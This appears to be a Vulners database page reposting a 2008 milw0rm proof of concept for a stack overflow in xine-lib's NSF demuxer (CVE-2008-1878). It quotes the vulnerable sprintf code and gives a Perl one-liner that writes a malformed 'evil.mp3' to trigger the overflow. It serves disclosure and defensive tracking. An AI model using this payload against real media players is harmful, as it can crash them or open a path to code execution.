Xine-Lib 1.1.12 - NSF demuxer Stack Overflow (PoC)
| Reporter | Title | Published | Views | Family All 45 |
|---|---|---|---|---|
 | CVE-2008-1878 | 16 Apr 200800:00 | – | circl |
 | CVE-2008-1878 | 17 Apr 200822:00 | – | cve |
 | CVE-2008-1878 | 17 Apr 200822:00 | – | cvelist |
 | [SECURITY] [DSA 1586-1] New xine-lib packages fix several vulnerabilities | 22 May 200817:17 | – | debian |
 | Debian DSA-1586-1 : xine-lib - multiple vulnerabilities | 23 May 200800:00 | – | nessus |
| Fedora 7 : xine-lib-1.1.11.1-1.fc7.2 (2008-3326) | 1 May 200800:00 | – | nessus |
| Fedora 8 : xine-lib-1.1.12-2.fc8 (2008-3353) | 1 May 200800:00 | – | nessus |
| Fedora 8 : xine-lib-1.1.15-1.fc8 (2008-7572) | 10 Sep 200800:00 | – | nessus |
| GLSA-200808-01 : xine-lib: User-assisted execution of arbitrary code | 7 Aug 200800:00 | – | nessus |
| Mandriva Linux Security Advisory : xine-lib (MDVSA-2008:177) | 23 Apr 200900:00 | – | nessus |
10
xine-lib <= 1.1.12 is prone to a stack-based buffer overflow in the NES
Sound Format demuxer(demux_nsf.c).
- Code
open_nsf_file():
109: this->title = strdup(&header[0x0E]);
demux_nsf_send_chunk():
122: char title[100];
162: sprintf(title, "%s, song %d/%d",
this->title, this->current_song, this->total_songs);
- Affected applications
http://xinehq.de/index.php/releases
- PoC
perl -e 'print
"\x4E\x45\x53\x4D\x1A\x01\x01\x01\x80\x80\x18\x8A\x03\x8A" . "\x41" x
114' > evil.mp3
# milw0rm.com [2008-04-16]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
24 Nov 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.15038